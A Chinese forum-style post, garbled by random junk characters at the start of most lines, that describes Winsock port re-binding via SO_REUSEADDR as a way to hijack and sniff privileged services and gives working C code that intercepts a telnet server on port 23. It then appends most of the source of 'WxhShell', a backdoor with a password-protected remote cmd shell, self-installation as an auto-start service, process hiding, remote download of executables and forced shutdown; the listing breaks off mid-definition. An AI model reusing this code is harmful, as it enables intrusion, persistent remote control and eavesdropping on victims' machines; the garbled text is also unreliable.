在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[{zfI`6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/$9We8 (UZ].+)s saddr.sin_family = AF_INET;
Sx1OY0)s EIF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\/-4 jF: *]c~[&x5& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
27MwZz o* e'D7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i"mQ sAnb
这意味着什么?意味着可以进行如下的攻击:
}(K1=cEaL UYzNaw4/x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9zm2}6r4 QkYKm<b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c7nbHJi LtV,djk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"d2JNFIHb u,]qrlx{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
wM}AWmH Kd*=- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nuw7pEW@? t
>Rh 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2I7|hZ, w"L]?# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Az/B/BLB JW"n#sR4 #include
w8zr0z #include
}|wC7*^) #include
*d31fBCk% #include
Zh_3ydMD1 DWORD WINAPI ClientThread(LPVOID lpParam);
5ka6=R(r int main()
WT}xCni {
un}!&*+ WORD wVersionRequested;
D'#,%4P,e\ DWORD ret;
`rV-,-r@ WSADATA wsaData;
QQD7NN> BOOL val;
lHE \Z` SOCKADDR_IN saddr;
.R^ R|<x SOCKADDR_IN scaddr;
iu2O/l#r int err;
Z:diM$Z?7 SOCKET s;
d+"F(R9 SOCKET sc;
cv. j int caddsize;
m%c]+Our` HANDLE mt;
5x!rT&!G DWORD tid;
):fu]s" wVersionRequested = MAKEWORD( 2, 2 );
<v?2p{U% err = WSAStartup( wVersionRequested, &wsaData );
y2 R\SL, if ( err != 0 ) {
H|/"'t
OZ printf("error!WSAStartup failed!\n");
VO /b&% return -1;
g+Y &rz }
=&~ K;=: saddr.sin_family = AF_INET;
n*caP9B V(Cxd.u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|hX\ep R7c42L\QA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
D`U,T&@ saddr.sin_port = htons(23);
qCq?`0&# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n*Hx"2XF {
9%riB/vkrF printf("error!socket failed!\n");
S'`RP2P return -1;
,rOh*ebF }
:d~mlyFI6P val = TRUE;
uc LDl //SO_REUSEADDR选项就是可以实现端口重绑定的
\\{78WDA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w}8=sw {
l9n$cv^ printf("error!setsockopt failed!\n");
F2Gg_u@7M return -1;
Vddod }
XANJ A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3ouo4tf$H. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)JU`Z@?8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h!tg+9% "![KQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
uE>m3Y(aP {
TCi0]Y~a ret=GetLastError();
>y$*|V}k printf("error!bind failed!\n");
=E:sEw2j return -1;
4 b}'W} }
NOf{Xx<#k listen(s,2);
N:EljzvP} while(1)
=6N=5JePB {
fc4jbPp:M caddsize = sizeof(scaddr);
+e#(p< //接受连接请求
/=QsZ,~xo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Wxgs66 if(sc!=INVALID_SOCKET)
W#kLM\2L {
G0Z$p6z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s !II}'Je if(mt==NULL)
s"~,Zzy@j {
4C3i printf("Thread Creat Failed!\n");
u,~+ho@ break;
^ '_Fd }
Hi U/fi` }
nN>Uh T CloseHandle(mt);
2#8PM-3" }
T0 cm+|S closesocket(s);
D\E"v,Y\+O WSACleanup();
~/Y8wxg return 0;
'1zC|:, }
~`5[Li:eP DWORD WINAPI ClientThread(LPVOID lpParam)
SN`L@/I {
nO;ox*Bk+8 SOCKET ss = (SOCKET)lpParam;
wkp$/IZKMj SOCKET sc;
Np;tpq~ unsigned char buf[4096];
(e9hp2m SOCKADDR_IN saddr;
Y 2^y73&k long num;
7w\!3pv DWORD val;
z_). - DWORD ret;
5Gz~,_ //如果是隐藏端口应用的话,可以在此处加一些判断
a;(,$q3M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^}kYJvqA saddr.sin_family = AF_INET;
-:wV3D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Vkqfs4 t saddr.sin_port = htons(23);
\2Kl]G(w%y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aw7pr464 {
{@s6ly]. printf("error!socket failed!\n");
$>Gf;k return -1;
[3qJUJM }
>f;oY9 {m val = 100;
BJqb'Hjd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}}wSns {
[mF=<G" ret = GetLastError();
{@Z*.G^ return -1;
$$R-> }
8:]5H}Hi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r)<n)eXeD {
syb$% ret = GetLastError();
Q?'Ax"$D return -1;
bf[l4$3k }
MN>U jFA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rWBgYh {
$<f+CtD4 printf("error!socket connect failed!\n");
ePxf.U closesocket(sc);
zj=F4]w closesocket(ss);
Ge24Lp;Y6 return -1;
o/!a7>xO4 }
C%P.`Nx A while(1)
7f~7vydZ} {
MF$NcU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P[e#j //如果是嗅探内容的话,可以再此处进行内容分析和记录
5=!aq\
5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`$/M\aM% num = recv(ss,buf,4096,0);
x
o72JJ if(num>0)
3>z+3!I z send(sc,buf,num,0);
uW,rmd else if(num==0)
@!(V0 - break;
L.a~vk
1 num = recv(sc,buf,4096,0);
],wzZhA if(num>0)
; d} send(ss,buf,num,0);
<q|eG\01S else if(num==0)
XsMETl"Av4 break;
=I+5sCF{g }
RP wP4Z closesocket(ss);
X<H+Z2d closesocket(sc);
~>}7+p
?; return 0 ;
fJY
b)sN }
B_%O6 w_q=mKu 1$"wN z ==========================================================
O[^zQA MO79FNH2\ 下边附上一个代码,,WXhSHELL
v2mqM5Z jF5oc ==========================================================
L/O:V^1 1:"ZS ]i #include "stdafx.h"
TJb&f< 4_\]zhS #include <stdio.h>
vpk~,D07yR #include <string.h>
1{wOjq(4 #include <windows.h>
bvo
}b-]E #include <winsock2.h>
cp+eh #include <winsvc.h>
M]e _@:! #include <urlmon.h>
l,Ixz1S3e 9K{0x7~ #pragma comment (lib, "Ws2_32.lib")
23`pog{n #pragma comment (lib, "urlmon.lib")
yy\d<-X~ 6EG`0h6 #define MAX_USER 100 // 最大客户端连接数
x0L,$Ol #define BUF_SOCK 200 // sock buffer
e1K{*h #define KEY_BUFF 255 // 输入 buffer
bJ6v5YA% GZ"J6/0-| #define REBOOT 0 // 重启
sT"{ e7;F; #define SHUTDOWN 1 // 关机
N_E:?Jo i)d'l<RA #define DEF_PORT 5000 // 监听端口
i(<do "Am< p5=VGKp #define REG_LEN 16 // 注册表键长度
eadY(-4|I- #define SVC_LEN 80 // NT服务名长度
5W?r04 @nF#\ // 从dll定义API
_"[O=h: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fkr;
a`<W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<1E*wPm8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O.P:~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$e![^I]` dp>Lh TLc // wxhshell配置信息
a7l-kG=R; struct WSCFG {
Hd=! int ws_port; // 监听端口
-ID!kZx char ws_passstr[REG_LEN]; // 口令
n15lX,FI int ws_autoins; // 安装标记, 1=yes 0=no
CEb .?B char ws_regname[REG_LEN]; // 注册表键名
O7T wM Yh char ws_svcname[REG_LEN]; // 服务名
&k {1N. char ws_svcdisp[SVC_LEN]; // 服务显示名
ehls:)F char ws_svcdesc[SVC_LEN]; // 服务描述信息
)Y,>cg:z~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y]E ?\03" int ws_downexe; // 下载执行标记, 1=yes 0=no
,0[h`FN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LgS.%Mn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7~ok*yG w `=~d^wKYJ3 };
\9dC z; 9#niMv9 // default Wxhshell configuration
(g]J hG struct WSCFG wscfg={DEF_PORT,
uEkUK| "xuhuanlingzhe",
gkNvvuQXc 1,
qn R{'d "Wxhshell",
Mo+HLN "Wxhshell",
6 {tW$q "WxhShell Service",
X2p9KC "Wrsky Windows CmdShell Service",
rgg3{bU/ "Please Input Your Password: ",
'm+)n08[ 1,
> 9wEx[ "
http://www.wrsky.com/wxhshell.exe",
fdTyY ; "Wxhshell.exe"
t5pf4M7 };
cLe659 & kVe_2oQ_> // 消息定义模块
W%RjjLJ@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{ sL(PS.z char *msg_ws_prompt="\n\r? for help\n\r#>";
? k*s!YCZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`ynD-_fTN char *msg_ws_ext="\n\rExit.";
Y:XxTa* char *msg_ws_end="\n\rQuit.";
`l95I7 char *msg_ws_boot="\n\rReboot...";
skP2IMa75 char *msg_ws_poff="\n\rShutdown...";
g4^df%)& char *msg_ws_down="\n\rSave to ";
CEos` D+vHl} char *msg_ws_err="\n\rErr!";
nr<&j#!L char *msg_ws_ok="\n\rOK!";
hUy\)GsT G>0S(M) char ExeFile[MAX_PATH];
K"r'w8P int nUser = 0;
}x1*4+Y1 HANDLE handles[MAX_USER];
htGk: int OsIsNt;
y2eeE CS] f^f{tOX SERVICE_STATUS serviceStatus;
/Hl]$sJY SERVICE_STATUS_HANDLE hServiceStatusHandle;
!&D&Gs wA<#E6^vG // 函数声明
niV= Ijt{5 int Install(void);
YS5 Pt)? int Uninstall(void);
29E9ZjSK int DownloadFile(char *sURL, SOCKET wsh);
Iz\IQa int Boot(int flag);
PO[
AP%; void HideProc(void);
M[R\URu8 int GetOsVer(void);
dF%sD|<) int Wxhshell(SOCKET wsl);
%Ot^G%34 void TalkWithClient(void *cs);
@OlV6M;qJ int CmdShell(SOCKET sock);
9RoN,e8! int StartFromService(void);
BJI
R !J int StartWxhshell(LPSTR lpCmdLine);
PuhFbgxy v/BMzVi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.q1OT> VOID WINAPI NTServiceHandler( DWORD fdwControl );
48BPo,nWR |:i``gFj // 数据结构和表定义
@^$Xy<x SERVICE_TABLE_ENTRY DispatchTable[] =
czf|c {
r}y]B\/ {wscfg.ws_svcname, NTServiceMain},
.^S#h
(A {NULL, NULL}
tc@([XqH };
AtN=G"c>_ ^\uj&K6l // 自我安装
<tbsQ3 int Install(void)
*@r)3 {
m4~Co*]w char svExeFile[MAX_PATH];
`\:92+ HKEY key;
KN;b+`x;M strcpy(svExeFile,ExeFile);
bb6J$NR r~uWr'}a} // 如果是win9x系统,修改注册表设为自启动
E,nC}f if(!OsIsNt) {
7)NQK9~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q8;WHfGf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4#Fz!Km RegCloseKey(key);
ruLi
"d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KF|<A@V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]3C&l+m$ot RegCloseKey(key);
X'Dg= | return 0;
V11Zl{uOl }
zM^ux!T= }
4w:_4qyb }
7
Znr2I else {
\KmjA)( eGS1% [ // 如果是NT以上系统,安装为系统服务
R)"Y40nW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
p-zWfXn!P if (schSCManager!=0)
)IGE2k| {
A|V
|vT7cb SC_HANDLE schService = CreateService
hmOhXE[a& (
t>h<XPJi schSCManager,
SR#X\AWM wscfg.ws_svcname,
N&!qur \ wscfg.ws_svcdisp,
$Blo`' SERVICE_ALL_ACCESS,
3r?Bnf: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I#D{6%~ SERVICE_AUTO_START,
n)w@\Uyc SERVICE_ERROR_NORMAL,
3
[lF svExeFile,
y_$=Pu6H NULL,
qh/q< NULL,
*K6 V$_{S NULL,
f$mfY6v NULL,
z./M^7v? NULL
;6I{7[ );
\Clz#k8l1 if (schService!=0)
0sq1SHI{ {
`J^J_s CloseServiceHandle(schService);
a3L]'E'*# CloseServiceHandle(schSCManager);
O&=?,zLO[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sAIL+O strcat(svExeFile,wscfg.ws_svcname);
6|m1z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
x[3kCa|4A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
N0GID-W!/~ RegCloseKey(key);
2P8JLT*Tj return 0;
Dcq\1V.e`W }
u2^oXl }
`wI<LTzXS CloseServiceHandle(schSCManager);
+d6/*}ht }
&3mseU }
Pq~"`-h7: BYN<|= return 1;
UK2Y<\vD }
x"~F=jT DNdwMSwp // 自我卸载
#F.;N<a int Uninstall(void)
>De\2gbJ {
lztPexyXZ HKEY key;
lcij}-z:%e 3ryIXC\v if(!OsIsNt) {
W?!(/`J] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W{l+_a{/9 RegDeleteValue(key,wscfg.ws_regname);
MN|y5w}$u RegCloseKey(key);
EVMhc"L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,b=&iDc RegDeleteValue(key,wscfg.ws_regname);
S=^yJ6xJ RegCloseKey(key);
p%CAicn return 0;
G8@({EY }
%O;"Z`I }
iLn)Z0<\o }
b7{)B?n else {
LbtcZ)D! Dg/&m*Yl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L@w|2 if (schSCManager!=0)
*KF: {
oYnA 3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_/ZIDIn if (schService!=0)
'MPt K {
8zGe5Dn9 if(DeleteService(schService)!=0) {
'i_od|19~h CloseServiceHandle(schService);
"/6( CloseServiceHandle(schSCManager);
X%xX3e' return 0;
B5u06O }
=M)>w4- CloseServiceHandle(schService);
L4'@f }
<0vQHND,3 CloseServiceHandle(schSCManager);
`f}c 1 }
`!DrB08A }
9j:t}HV 4aGV1u+4 return 1;
bV&/)eqv }
a_m P$4T 4s~YqP{K // 从指定url下载文件
IP$^)t[ int DownloadFile(char *sURL, SOCKET wsh)
~" B0P>7 {
xA#B1qbw HRESULT hr;
Yva^JB char seps[]= "/";
3'O+ char *token;
5[esW char *file;
!zwnFdp char myURL[MAX_PATH];
~N;.hU%l char myFILE[MAX_PATH];
TS)p2# ]x?9lQ1& strcpy(myURL,sURL);
D|,d_W token=strtok(myURL,seps);
V{@<Z8sW# while(token!=NULL)
j/{F#auI {
{Lb NKjn file=token;
fzRzkn:= token=strtok(NULL,seps);
tQbDP!,A*= }
?C//UN; .GM&]Hb GetCurrentDirectory(MAX_PATH,myFILE);
x:O?Fj strcat(myFILE, "\\");
.t4IR
=Z strcat(myFILE, file);
z)=D&\HX send(wsh,myFILE,strlen(myFILE),0);
/OK.n3Tt send(wsh,"...",3,0);
R:x4j#( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(ta!4h, if(hr==S_OK)
`&b8wF return 0;
V"*|`z) else
W *0XV return 1;
`UMv#-Y8 g4&zBn }
X3#|9 Am%zEt$c // 系统电源模块
~d^+yR- int Boot(int flag)
<w(UDZ {
yJc<;Qx HANDLE hToken;
m'XzZmI TOKEN_PRIVILEGES tkp;
Hu|NS {Ke- R{\vOw:* if(OsIsNt) {
C;}~C:aJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!`hjvJryw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6BRQX\ tkp.PrivilegeCount = 1;
1bF aQ50t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]T}G - AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9}iEEI if(flag==REBOOT) {
mm'n#%\G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
bv5,Yk return 0;
;hJTJMA6/6 }
)}hp[*C else {
^IOf% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sbZ)z#Tr return 0;
\/la`D }
` QXO+'j4 }
t8\F7F P else {
)\l}i%L: if(flag==REBOOT) {
gpVZZ:~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Yvs)H'n= return 0;
*oL?R2#7 }
vXLiYWo else {
63QMv[`, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v#@"Evh7 return 0;
T|Sz~nO}f }
{*ATY+ }
wAkpk&R g+t-<D"L5 return 1;
]C3{ _?= }
Yw"o_ }L>}_NV\ // win9x进程隐藏模块
@X?DHLM void HideProc(void)
OGh9^,v {
eZIqyw 3haYb` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=LDzZ:' X if ( hKernel != NULL )
'U.)f@L#w {
<w`
R; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MzL^u8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ii%^z?' FreeLibrary(hKernel);
B BbGq8p }
A&jkc ' E'j>[C:U return;
Xa=oryDt }
tq H7M0Ry __teh>MC // 获取操作系统版本
^Wo/vm*] int GetOsVer(void)
[5e}A& {
iagl^(s OSVERSIONINFO winfo;
aTuD|s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9u ^PM GetVersionEx(&winfo);
-;20|US)u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^=.R#zrc return 1;
\ ,ARYwd else
i#Io; return 0;
m~'! }
Yrs7F.Y" aY}:9qBice // 客户端句柄模块
JGOry \ int Wxhshell(SOCKET wsl)
@X+m,u {
%OB:lAeJ SOCKET wsh;
1PpZ*YK3z struct sockaddr_in client;
d00#;R DWORD myID;
uf]SPG#/D <k!M+}a 9V while(nUser<MAX_USER)
#<s6L"Z- {
=5/ow!u8 int nSize=sizeof(client);
8=CdO|XV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"3.v(GVr if(wsh==INVALID_SOCKET) return 1;
kd)Q$RA( >lQ@" U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
c[J?`8 if(handles[nUser]==0)
gI "ZhYI closesocket(wsh);
0^$L{V else
c.dk4v%Y5 nUser++;
:7UC=GKQk }
WvR-0>E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\(2w/~ (hNTr(z return 0;
`qnp }
G
d~
v _ e+6mbJ7y // 关闭 socket
pFgpAxl void CloseIt(SOCKET wsh)
"BT*9N=| {
5xC4lT/U closesocket(wsh);
uNCM,J!#~ nUser--;
6D|[3rXr ExitThread(0);
94VtGg=b} }
waI?X2 p[R4!if2 // 客户端请求句柄
(
m/ujz void TalkWithClient(void *cs)
SW5V:|/ {
(rqc_ZU5 DmU,}]#: SOCKET wsh=(SOCKET)cs;
x1H1[0w,i char pwd[SVC_LEN];
-fpe char cmd[KEY_BUFF];
^Ej$o@PH char chr[1];
Zc 9@G- int i,j;
\4Uhc3 oCfO:7 while (nUser < MAX_USER) {
ypU-/}Cf, 2[|52+zhc if(wscfg.ws_passstr) {
,ZGU\t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F!7dGa$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6$CwH!42F //ZeroMemory(pwd,KEY_BUFF);
<*JFY%y" i=0;
&O
+?#3 while(i<SVC_LEN) {
GuK3EM*_ Zt_~Zxn3 // 设置超时
88Nx/:#Y* fd_set FdRead;
YRg"{[+#]k struct timeval TimeOut;
hL4T7` FD_ZERO(&FdRead);
e"oTlB FD_SET(wsh,&FdRead);
c wNJ{S+ TimeOut.tv_sec=8;
ES-V'[+jDy TimeOut.tv_usec=0;
5(zdM)Y7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!3F3E8% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[)+wke9 )ifjK6* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1aI&jdJk pwd
=chr[0]; 3rVfBz
if(chr[0]==0xd || chr[0]==0xa) { b5Q|$E
pwd=0; *+OS;R1<
break; f=k_U[b4>
} rjffpU
i++; 8)lrQvZ
} +m9ouF
*b'4>U
// 如果是非法用户,关闭 socket '-U&S
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3Ccy %;
} /4*Y#IpZ
4#CHX^De
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nq9\ 2p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rD+mI/_J`
\q($8<
while(1) { 2HUw^ *3
O1D|T"@
ZeroMemory(cmd,KEY_BUFF); oXjoQ
IRGcE&m
// 自动支持客户端 telnet标准 FsO_|r
j=0; @U3:9~Q
while(j<KEY_BUFF) { 2x>7>;>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yR?./M!
cmd[j]=chr[0]; X n8&&w"
if(chr[0]==0xa || chr[0]==0xd) { %x.du9
cmd[j]=0; -woFKAy`
break; o\F>K'
} q{&\nCy
j++; O\CnKNk,
} 8>@JW]
(dZ]j){
// 下载文件 &|j0GP&
if(strstr(cmd,"http://")) { R#T
6]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 43x2BW&&
if(DownloadFile(cmd,wsh)) {,i-V57-h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-pqqSy
else n$`+03 a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1AC2<H
} k 3H0$1
else { IMr#5
,f{w@Er
switch(cmd[0]) { 41R6V>e@9J
LPBa!fq
// 帮助 m~
5"q%;
case '?': { &8w#
4*W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x!fG%o~h
break; }tw+8YWkz
} 5RvE ),
// 安装 %YK xdp
case 'i': { s;YbZ*oaMe
if(Install()) ;@T0wd_i|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&m3E=K!^
else ,cL;,YN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [al$sCD]+
break; ~uH_y-
} 1cv~_jFh
// 卸载 ax>j3HKi
case 'r': { $,2T~1tE
if(Uninstall()) hVmnXT
3Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e*qGrg (E
else W^H3 =hZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (De{r|
break; v+"4YIN
} ka!v(j{E
// 显示 wxhshell 所在路径 g\fj6
case 'p': { 4MS#`E7LrC
char svExeFile[MAX_PATH]; }rI:pp^KS
strcpy(svExeFile,"\n\r"); GkX Se)#p
strcat(svExeFile,ExeFile); %2T
i
Rb
send(wsh,svExeFile,strlen(svExeFile),0); >xabn*Kq
break; -1Dq_!i
} B Z|A&;
// 重启 BH1h2OEe#
case 'b': { eFG(2OVg}M
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '{UKO7
if(Boot(REBOOT)) dgF%&*Il]O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^\AeX-q2v'
else { 7n6g;8xE
closesocket(wsh); ]vlBYAW'
ExitThread(0); E{&MmrlL,
} c%C6d97q
break; 2^=.j2
} s@ r{TXEn
// 关机 dv>n38&mDQ
case 'd': { 8{!d'Pks
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8Rwk
o6x
if(Boot(SHUTDOWN)) ,< x/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IgG[Pr'D
else { \~ChbPnc
closesocket(wsh); X}v*"`@Q
ExitThread(0); -3R:~z^L
} X+aQ 7^"s
break; h<U?WtWT-p
} Q2VF+g,
// 获取shell t` "m@
case 's': { +QU>D:l
CmdShell(wsh); ^PTf8o
closesocket(wsh); j 4?Qd0z
ExitThread(0); }+9?)f{?@
break; -!Myw&*\V
} I_<XL<
// 退出 g0tnt)]
case 'x': { yov~'S9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); </{Zb.
CloseIt(wsh); TwPQ8}pj?
break; I_ mus<sE
} x,,y}_YX
// 离开 /h0bBP
case 'q': { Dcvul4Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \b"rf697,
closesocket(wsh); 'w+]kt-
WSACleanup(); '`P%;/z
exit(1); N&NBn(
break; a:)FWdp?9
} bQt:=>
} ?{S>%P A_B
} m1X7zU Cy
5l6/5
// 提示信息 <?nI O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :5NMgR.d
} W[8Kia-OD
} lGd'_~'=
5?k5J\+
return; =Z^5'h~
} ~=|}!A(
$Z@*!B^
// shell模块句柄 Z+El(f x
int CmdShell(SOCKET sock) d05xn7%!{
{ >|QH
I
d8
STARTUPINFO si; qVn<c,8#
ZeroMemory(&si,sizeof(si)); )7>GXZG>=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G(&[1V % x
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
>2s4BV[(
PROCESS_INFORMATION ProcessInfo; F^yW3|Sb
char cmdline[]="cmd"; {@InOo!4w]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P1eSx#3bR
return 0; (;l@d|g
} %Rk|B`ST
]RCo@QW
// 自身启动模式 *G58t`]r
int StartFromService(void) Z1
D
{ w]wZJ/U`
typedef struct {D4FYr
J
{ VE )D4RL
DWORD ExitStatus; VgHO&vU
DWORD PebBaseAddress; }_D .Hy5
DWORD AffinityMask; TA[%eMvA
DWORD BasePriority; 46:<[0Psl/
ULONG UniqueProcessId; /Y0~BQC7!
ULONG InheritedFromUniqueProcessId; h*S"]ye5
} PROCESS_BASIC_INFORMATION; }t)+eSUA
